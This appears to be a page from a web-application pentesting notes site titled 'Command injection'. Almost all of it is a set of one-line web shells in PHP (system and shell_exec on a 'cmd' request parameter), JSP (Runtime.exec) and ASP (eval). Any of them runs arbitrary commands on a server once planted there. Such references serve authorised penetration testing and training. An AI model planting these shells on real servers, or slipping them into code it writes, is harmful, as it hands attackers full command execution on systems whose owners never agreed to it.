> For the complete documentation index, see [llms.txt](https://malcrvz.gitbook.io/the-vx-files/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://malcrvz.gitbook.io/the-vx-files/web-app-pentesting/techniques/command-injection.md).

# Command injection

***

### Scripts

<details>

<summary>PHP  - script.php</summary>

```php
#System REQUEST method
<?php system($_REQUEST["cmd"]); ?>

#Shell_exec REQUEST method
<?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?>
```

</details>

<details>

<summary>JSP - script.jsp</summary>

```java
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
```

</details>

<details>

<summary>ASP - script.asp</summary>

```javascript
<% eval request("cmd") %>
```

</details>